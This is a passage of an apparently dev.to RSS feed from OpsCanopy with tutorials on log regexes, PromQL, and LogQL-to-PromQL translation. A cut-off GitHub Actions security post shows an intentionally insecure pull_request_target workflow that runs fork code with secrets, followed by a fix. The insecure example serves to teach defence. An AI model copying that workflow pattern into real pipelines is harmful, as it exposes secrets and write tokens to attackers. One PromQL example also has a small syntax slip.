&lt;strong&gt;Multiline&lt;/strong&gt; (&lt;code&gt;m&lt;/code&gt;): when you paste a block of logs, &lt;code&gt;^&lt;/code&gt; and &lt;code&gt;$&lt;/code&gt; should anchor to each &lt;em&gt;line&lt;/em&gt;, not the whole blob. With the multiline flag, &lt;code&gt;^(?&amp;lt;level&amp;gt;\w+)&lt;/code&gt; tests each line independently.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(?im)^(?&amp;lt;ts&amp;gt;\S+)\s+(?&amp;lt;level&amp;gt;error|warn|info|debug)\b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Test against the lines that break things
&lt;/h2&gt;

&lt;p&gt;The sample that proves your regex works is rarely the sample that proves it’s robust. Build a small set of adversarial inputs and keep them around: a line missing the optional field, a line with two quoted strings, a message containing the delimiter you split on, a malformed timestamp, an empty line, and a line that’s twice as long as usual. If your pattern survives those, it’ll survive production.&lt;/p&gt;

&lt;p&gt;This is exactly the loop the &lt;strong&gt;Regex Log Tester&lt;/strong&gt; is built for: paste your pattern and a block of real log lines, and see live which lines match, which don’t, and what every capture group and named group actually captured — so you catch the greedy &lt;code&gt;.*&lt;/code&gt; or the unescaped &lt;code&gt;.&lt;/code&gt; before it ships. Everything runs in your browser; your logs never leave the page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://opscanopy.com/regex-log-tester/" rel="noopener noreferrer"&gt;Open the Regex Log Tester →&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/regex-log-tester/" rel="noopener noreferrer"&gt;Regex Log Tester&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>programming</category>
      <category>regex</category>
      <category>changelog</category>
    </item>
    <item>
      <title>How to read a PromQL query</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sat, 13 Jun 2026 08:07:57 +0000</pubDate>
      <link>https://dev.to/opscanopy/how-to-read-a-promql-query-mac</link>
      <guid>https://dev.to/opscanopy/how-to-read-a-promql-query-mac</guid>
      <description>&lt;p&gt;PromQL looks dense the first time you meet it. A line like &lt;code&gt;histogram_quantile(0.99, sum by (le, route) (rate(http_request_duration_seconds_bucket[5m])))&lt;/code&gt; reads like one long word, and the instinct is to scan it left to right like a sentence. That’s the wrong direction. PromQL is a functional language, so the meaning flows from the &lt;strong&gt;innermost&lt;/strong&gt; expression outward — the same way you’d evaluate a nested formula in maths. Once you read it inside-out, almost every query decomposes into the same four layers.&lt;/p&gt;

&lt;h2&gt;
  
  
  The four layers
&lt;/h2&gt;

&lt;p&gt;Nearly every non-trivial PromQL expression is built from these, stacked from the inside out:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;A selector&lt;/strong&gt; — which series you start from.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A range&lt;/strong&gt; — over what window of time (only when you need history, not an instant).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A function&lt;/strong&gt; — what transformation you apply to those samples.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An aggregation&lt;/strong&gt; — how you collapse many series into fewer.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Read them in that order and the query explains itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 1: the selector
&lt;/h2&gt;

&lt;p&gt;The core of any query is a &lt;strong&gt;metric selector&lt;/strong&gt;: a metric name plus optional label matchers in braces.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http_requests_total{job="api", status=~"5.."}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This selects every series named &lt;code&gt;http_requests_total&lt;/code&gt; where the &lt;code&gt;job&lt;/code&gt; label equals &lt;code&gt;api&lt;/code&gt; and the &lt;code&gt;status&lt;/code&gt; label matches the regex &lt;code&gt;5..&lt;/code&gt; (any 5xx code). The matchers are the important part:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;=&lt;/code&gt; exact match&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;!=&lt;/code&gt; not equal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;=~&lt;/code&gt; regex match&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;!~&lt;/code&gt; regex does not match&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On its own a selector returns an &lt;strong&gt;instant vector&lt;/strong&gt; — one current sample per matching series. That distinction matters for everything that follows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 2: the range
&lt;/h2&gt;

&lt;p&gt;Append a duration in square brackets and the selector becomes a &lt;strong&gt;range vector&lt;/strong&gt; — every sample in that window, per series, not just the latest one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http_requests_total{job="api"}[5m]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can’t graph a range vector directly; it’s raw material. You hand it to a function that knows what to do with a window of samples. The classic example is &lt;code&gt;rate&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rate(http_requests_total{job="api"}[5m])
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;rate&lt;/code&gt; looks at the counter’s samples over the last 5 minutes and returns the per-second average rate of increase. This is the single most common pattern in Prometheus, and it’s worth internalising why it exists: &lt;code&gt;http_requests_total&lt;/code&gt; is a &lt;strong&gt;counter&lt;/strong&gt; that only ever goes up (until a restart resets it), so its raw value is meaningless on a dashboard. The rate of change is what you actually care about. &lt;code&gt;rate&lt;/code&gt; also transparently handles counter resets, which is why you should never compute rates by hand.&lt;/p&gt;

&lt;p&gt;A short note on window sizing: the range (&lt;code&gt;[5m]&lt;/code&gt;) should comfortably cover at least a few scrape intervals. Too short and you get noisy, gappy results; too long and you smooth away the spikes you were trying to catch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 3: functions
&lt;/h2&gt;

&lt;p&gt;Functions transform vectors. The ones you’ll see constantly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;rate(...)&lt;/code&gt; — per-second average rate of a counter over a range.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;irate(...)&lt;/code&gt; — instant rate from the last two samples; spikier, good for fast-moving graphs.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;increase(...)&lt;/code&gt; — total increase over the range (essentially &lt;code&gt;rate × seconds&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;histogram_quantile(φ, ...)&lt;/code&gt; — estimates a quantile (e.g. p99) from histogram buckets.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;rate(...[5m]) &amp;gt; 0&lt;/code&gt; style comparisons — filtering, covered below.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So &lt;code&gt;rate(http_requests_total{job="api", status=~"5.."}[5m])&lt;/code&gt; reads, inside-out, as: &lt;em&gt;take the 5xx request counter for the api job, over a 5-minute window, and give me the per-second error rate, per series.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 4: aggregation
&lt;/h2&gt;

&lt;p&gt;A selector with a &lt;code&gt;job&lt;/code&gt; and a &lt;code&gt;status&lt;/code&gt; label can still match dozens of series — one per instance, per pod, per status code. Aggregation operators collapse them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sum by (job) (rate(http_requests_total{status=~"5.."}[5m]))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sum by (job)&lt;/code&gt; adds up the per-series rates, keeping &lt;strong&gt;only&lt;/strong&gt; the &lt;code&gt;job&lt;/code&gt; label and discarding the rest. The result is one error-rate line per job. The two clauses to know:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;by (labels)&lt;/code&gt; — keep these labels, aggregate away everything else.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;without (labels)&lt;/code&gt; — aggregate away these labels, keep everything else.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other aggregators follow the same grammar: &lt;code&gt;avg&lt;/code&gt;, &lt;code&gt;max&lt;/code&gt;, &lt;code&gt;min&lt;/code&gt;, &lt;code&gt;count&lt;/code&gt;, &lt;code&gt;topk&lt;/code&gt;, &lt;code&gt;quantile&lt;/code&gt;. The mental model never changes — &lt;em&gt;combine many series into fewer, grouped by the labels I name.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Putting it together
&lt;/h2&gt;

&lt;p&gt;Now the intimidating query from the top decomposes cleanly. Read it from the inside out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;histogram_quantile(
  0.99,
  sum by (le, route) (
    rate(http_request_duration_seconds_bucket[5m])
  )
)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;http_request_duration_seconds_bucket[5m]&lt;/code&gt; — the latency histogram buckets, over 5 minutes.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;rate(...)&lt;/code&gt; — per-second rate of each bucket, so resets and scaling are handled.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sum by (le, route) (...)&lt;/code&gt; — add the rates across instances, keeping &lt;code&gt;le&lt;/code&gt; (the bucket boundary, required by the next step) and &lt;code&gt;route&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;histogram_quantile(0.99, ...)&lt;/code&gt; — estimate the 99th-percentile latency from those buckets, per route.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In plain English: &lt;strong&gt;the p99 request latency per route over the last 5 minutes.&lt;/strong&gt; One layer at a time, it’s not dense at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  A few traps worth knowing
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Aggregating before rate-ing.&lt;/strong&gt; &lt;code&gt;rate(sum(...))&lt;/code&gt; is almost always a bug. Take the &lt;code&gt;rate&lt;/code&gt; first, then &lt;code&gt;sum&lt;/code&gt; — summing counters across resets gives nonsense. The correct shape is &lt;code&gt;sum(rate(...))&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dropping &lt;code&gt;le&lt;/code&gt;.&lt;/strong&gt; &lt;code&gt;histogram_quantile&lt;/code&gt; needs the &lt;code&gt;le&lt;/code&gt; label intact, so your &lt;code&gt;by (...)&lt;/code&gt; clause must include it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comparisons filter, they don’t just colour.&lt;/strong&gt; &lt;code&gt;rate(...)[5m]) &amp;gt; 0&lt;/code&gt; doesn’t return booleans — it &lt;em&gt;drops&lt;/em&gt; every series where the condition is false. That’s how you build alert expressions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Instant vs range mismatch.&lt;/strong&gt; Passing an instant vector where a function wants a range vector (or vice versa) is the most common parse error. If a function complains, check your brackets.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Decode any query in seconds
&lt;/h2&gt;

&lt;p&gt;The inside-out method works on every PromQL expression you’ll meet, but pulling apart a deeply nested production query by hand is still tedious — and easy to get subtly wrong under pressure. That’s exactly what the &lt;strong&gt;PromQL Explainer&lt;/strong&gt; is for: paste any Prometheus query and get a plain-English, layer-by-layer breakdown of its selectors, ranges, functions, aggregations and comparisons. Everything runs client-side, so your queries never leave the browser.&lt;/p&gt;

&lt;p&gt;Next time a dashboard panel or alert rule leaves you squinting, don’t guess at it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/promql-explainer"&gt;Explain a PromQL query →&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/promql-explainer" rel="noopener noreferrer"&gt;PromQL Explainer&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>prometheus</category>
      <category>monitoring</category>
      <category>devops</category>
      <category>observability</category>
    </item>
    <item>
      <title>LogQL vs PromQL: the same query in both languages</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sat, 13 Jun 2026 08:04:12 +0000</pubDate>
      <link>https://dev.to/opscanopy/logql-vs-promql-the-same-query-in-both-languages-1jch</link>
      <guid>https://dev.to/opscanopy/logql-vs-promql-the-same-query-in-both-languages-1jch</guid>
      <description>&lt;p&gt;If you’ve written Prometheus queries, Grafana Loki’s LogQL looks reassuringly familiar — &lt;code&gt;rate(...)&lt;/code&gt;, &lt;code&gt;sum by (...)&lt;/code&gt;, &lt;code&gt;[5m]&lt;/code&gt; range vectors, the same comparison operators. That familiarity is deliberate, and it’s genuinely useful: a lot of PromQL muscle memory transfers directly. But the two languages start from different raw material, and the moment you forget that, your translation breaks in ways that are hard to spot. PromQL queries a &lt;strong&gt;metrics&lt;/strong&gt; database. LogQL queries &lt;strong&gt;log lines&lt;/strong&gt; and turns them into metrics on the fly. Everything that maps cleanly, and everything that doesn’t, follows from that one difference.&lt;/p&gt;

&lt;h2&gt;
  
  
  The two halves of LogQL
&lt;/h2&gt;

&lt;p&gt;Every LogQL query begins with a &lt;strong&gt;log selector&lt;/strong&gt; and an optional &lt;strong&gt;pipeline&lt;/strong&gt; — the part that has no PromQL equivalent because PromQL never touches raw logs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{app="api", env="prod"} |= "panic" | logfmt | level="error"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That selects the &lt;code&gt;api&lt;/code&gt;/&lt;code&gt;prod&lt;/code&gt; stream, keeps lines containing &lt;code&gt;panic&lt;/code&gt;, parses them as logfmt, then filters to &lt;code&gt;level=error&lt;/code&gt;. The result is still a set of log lines. To get something you can graph or alert on — a number over time — you wrap it in a &lt;strong&gt;metric query&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sum by (app) (count_over_time({app="api", env="prod"} |= "panic" | logfmt | level="error" [5m]))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only the outer half of that expression resembles PromQL. The inner &lt;code&gt;{...} |= ... | logfmt | ...&lt;/code&gt; part is pure Loki, and it’s where most translation effort actually goes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where LogQL and PromQL line up
&lt;/h2&gt;

&lt;p&gt;The aggregation layer is where the languages converge, and the correspondences are close to one-to-one.&lt;/p&gt;

&lt;p&gt;A PromQL counter rate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sum by (status) (rate(http_requests_total{job="api"}[5m]))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The LogQL shape that answers the same question from logs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sum by (status) (rate({job="api"} | logfmt [5m]))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The aggregation operators (&lt;code&gt;sum&lt;/code&gt;, &lt;code&gt;avg&lt;/code&gt;, &lt;code&gt;min&lt;/code&gt;, &lt;code&gt;max&lt;/code&gt;, &lt;code&gt;count&lt;/code&gt;, &lt;code&gt;topk&lt;/code&gt;, &lt;code&gt;quantile&lt;/code&gt;) and the &lt;code&gt;by&lt;/code&gt; / &lt;code&gt;without&lt;/code&gt; grouping clauses behave identically. Comparison operators (&lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;==&lt;/code&gt;, &lt;code&gt;!=&lt;/code&gt;) and binary arithmetic work the same way, which is why an alert threshold ports over almost verbatim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# PromQL: more than 10 errors/sec
sum(rate(http_requests_total{status=~"5.."}[5m])) &amp;gt; 10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# LogQL: more than 10 error lines/sec
sum(rate({job="api"} | logfmt | status=~"5.." [5m])) &amp;gt; 10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Loki’s &lt;code&gt;_over_time&lt;/code&gt; family also mirrors Prometheus’s range functions where the concept survives: &lt;code&gt;count_over_time&lt;/code&gt;, &lt;code&gt;rate&lt;/code&gt;, &lt;code&gt;bytes_rate&lt;/code&gt;, &lt;code&gt;avg_over_time&lt;/code&gt;, &lt;code&gt;max_over_time&lt;/code&gt;, &lt;code&gt;quantile_over_time&lt;/code&gt;. If you’ve used &lt;code&gt;avg_over_time(metric[5m])&lt;/code&gt; in PromQL, the unwrapped LogQL form reads the same once you’ve extracted a numeric value to operate on.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where they diverge — and why a literal port fails
&lt;/h2&gt;

&lt;p&gt;The traps cluster around the half of LogQL that PromQL doesn’t have.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;rate&lt;/code&gt; means two different things.&lt;/strong&gt; In PromQL, &lt;code&gt;rate(counter[5m])&lt;/code&gt; accounts for counter resets — it’s built for monotonically increasing series. In LogQL, &lt;code&gt;rate({...}[5m])&lt;/code&gt; is per-second &lt;strong&gt;line count&lt;/strong&gt;, with no reset semantics, because log lines don’t reset. The keyword matches; the meaning doesn’t. If you reach for &lt;code&gt;increase()&lt;/code&gt; expecting PromQL counter behaviour, there’s simply nothing to increase.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You must extract a value before you can do math on it.&lt;/strong&gt; PromQL samples are already numbers. Loki lines are text, so any aggregation over a &lt;em&gt;value&lt;/em&gt; (latency, bytes, a numeric field) needs a parser plus &lt;code&gt;unwrap&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;quantile_over_time(0.99, {job="api"} | logfmt | unwrap duration_seconds [5m]) by (route)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no PromQL counterpart to &lt;code&gt;| logfmt&lt;/code&gt;, &lt;code&gt;| json&lt;/code&gt;, &lt;code&gt;| pattern&lt;/code&gt;, or &lt;code&gt;| unwrap&lt;/code&gt; — they exist precisely because the input is unstructured. Translating &lt;em&gt;from&lt;/em&gt; PromQL means inventing this extraction step; translating &lt;em&gt;to&lt;/em&gt; PromQL means deleting it and assuming a metric already exists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Selector syntax overlaps but isn’t interchangeable.&lt;/strong&gt; Both use &lt;code&gt;{label="value"}&lt;/code&gt; with &lt;code&gt;=&lt;/code&gt;, &lt;code&gt;!=&lt;/code&gt;, &lt;code&gt;=~&lt;/code&gt;, &lt;code&gt;!~&lt;/code&gt;. But a PromQL selector names a metric and matches series labels; a Loki stream selector names log streams and &lt;em&gt;must&lt;/em&gt; match at least one indexed stream label. A line filter like &lt;code&gt;|= "text"&lt;/code&gt; has no PromQL analogue at all — the closest PromQL gets is matching on a label value, never on free text inside a sample.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;High-cardinality fields behave differently.&lt;/strong&gt; In PromQL, grouping by a high-cardinality label is usually a metrics-design smell. In LogQL, extracted pipeline labels (from &lt;code&gt;logfmt&lt;/code&gt;/&lt;code&gt;json&lt;/code&gt;) are computed at query time and aren’t indexed, so &lt;code&gt;by (user_id)&lt;/code&gt; is feasible in a way it rarely is in Prometheus — at a real cost in query throughput, but without the storage explosion. The mental model for what’s “expensive” doesn’t transfer.&lt;/p&gt;

&lt;h2&gt;
  
  
  A practical translation checklist
&lt;/h2&gt;

&lt;p&gt;When you move a query between the two languages, walk these in order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Identify the metric layer.&lt;/strong&gt; Strip the PromQL query down to its aggregation (&lt;code&gt;sum by (...) (rate(...))&lt;/code&gt;); that part ports almost as-is.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reconstruct the input.&lt;/strong&gt; In LogQL, replace the metric name with a &lt;code&gt;{stream}&lt;/code&gt; selector plus the line filters and parser (&lt;code&gt;| logfmt&lt;/code&gt;, &lt;code&gt;| json&lt;/code&gt;) needed to get to the same data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Add &lt;code&gt;unwrap&lt;/code&gt; for value math.&lt;/strong&gt; Any average, quantile, or sum over a number — not a line count — needs an extracted, unwrapped field.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Re-check &lt;code&gt;rate&lt;/code&gt; semantics.&lt;/strong&gt; Decide whether you mean per-second line count (Loki) or counter rate (Prometheus). They are not the same number.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accept that some things won’t map.&lt;/strong&gt; &lt;code&gt;histogram_quantile&lt;/code&gt; over native Prometheus histograms, counter &lt;code&gt;resets()&lt;/code&gt;, and recording-rule-backed series have no clean LogQL form — and free-text line filters have no PromQL form.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Translate it without the guesswork
&lt;/h2&gt;

&lt;p&gt;Holding both dialects in your head at once is exactly the kind of context-switching that produces silent bugs — a &lt;code&gt;rate&lt;/code&gt; that means the wrong thing, a missing &lt;code&gt;unwrap&lt;/code&gt;, a selector that compiles but matches nothing. The &lt;strong&gt;LogQL ↔ PromQL Helper&lt;/strong&gt; does the mechanical part for you: paste a query in either language, get the closest equivalent in the other, plus explicit notes on what mapped cleanly and what couldn’t. It runs entirely in your browser — your queries never leave the device — so you can sanity-check a translation before it lands in a dashboard or an alert rule.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/logql-promql-helper"&gt;Open the LogQL ↔ PromQL Helper →&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/logql-promql-helper" rel="noopener noreferrer"&gt;LogQL ↔ PromQL Helper&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>observability</category>
      <category>prometheus</category>
      <category>devops</category>
      <category>tooling</category>
    </item>
    <item>
      <title>The GitHub Actions security mistakes linters miss</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sat, 13 Jun 2026 08:02:03 +0000</pubDate>
      <link>https://dev.to/opscanopy/the-github-actions-security-mistakes-linters-miss-437b</link>
      <guid>https://dev.to/opscanopy/the-github-actions-security-mistakes-linters-miss-437b</guid>
      <description>&lt;p&gt;A YAML linter will tell you when your workflow won’t parse. It won’t tell you when your workflow hands a fork’s pull request a write token, or runs an attacker-controlled branch name as shell code. Those bugs are syntactically perfect — they pass every schema check, run green on the first try, and quietly widen your attack surface until someone notices.&lt;/p&gt;

&lt;p&gt;GitHub Actions is unusually exposed because workflows are code that runs on every push, often with secrets in scope and a token that can write to the repo. The mistakes below are the ones that turn a routine CI pipeline into a supply-chain incident. None of them are caught by &lt;code&gt;actionlint&lt;/code&gt;’s syntax pass alone, and all five are common enough that they show up in real public repos every week.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. &lt;code&gt;pull_request_target&lt;/code&gt; checking out untrusted code
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;pull_request_target&lt;/code&gt; trigger runs with &lt;strong&gt;the base repository’s secrets and a read/write token&lt;/strong&gt;, but it checks out the &lt;em&gt;target&lt;/em&gt; branch by default — which is what makes it useful for labelling PRs or posting comments from forks. The trap is checking out the PR’s head and then &lt;em&gt;running&lt;/em&gt; it. That executes attacker-controlled code with your secrets in scope.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — runs fork code with repo secrets and a write token&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pull_request_target&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.head.sha }}&lt;/span&gt; &lt;span class="c1"&gt;# untrusted!&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm install &amp;amp;&amp;amp; npm run build&lt;/span&gt;              &lt;span class="c1"&gt;# arbitrary code&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker opens a PR whose &lt;code&gt;npm install&lt;/code&gt; runs a malicious &lt;code&gt;postinstall&lt;/code&gt; script, and that script can read &lt;code&gt;secrets.*&lt;/code&gt; or exfiltrate the &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;. If you only need to &lt;em&gt;inspect&lt;/em&gt; a PR, use &lt;code&gt;pull_request&lt;/code&gt; (no secrets, read-only token) instead. If you genuinely need secrets — for example to post a status — split the work: build untrusted code in a &lt;code&gt;pull_request&lt;/code&gt; job with no secrets, then act on its output in a separate, trusted workflow.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — untrusted code runs without secrets&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pull_request&lt;/span&gt;          &lt;span class="c1"&gt;# forked PRs get a read-only token, no secrets&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;   &lt;span class="c1"&gt;# checks out PR head safely, unprivileged&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci &amp;amp;&amp;amp; npm run build&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why it matters: this is the single most-exploited Actions pattern. Treating fork PRs as untrusted input is the whole game.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Script injection through &lt;code&gt;${{ github.event.* }}&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Anything a user can type — a PR title, a branch name, an issue body, a commit message — is attacker-controlled. When you interpolate it directly into a &lt;code&gt;run:&lt;/code&gt; block, GitHub substitutes the raw string into the shell &lt;em&gt;before&lt;/em&gt; the shell runs, so a crafted value becomes executable code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — PR title is spliced straight into the shell&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Greet&lt;/span&gt;
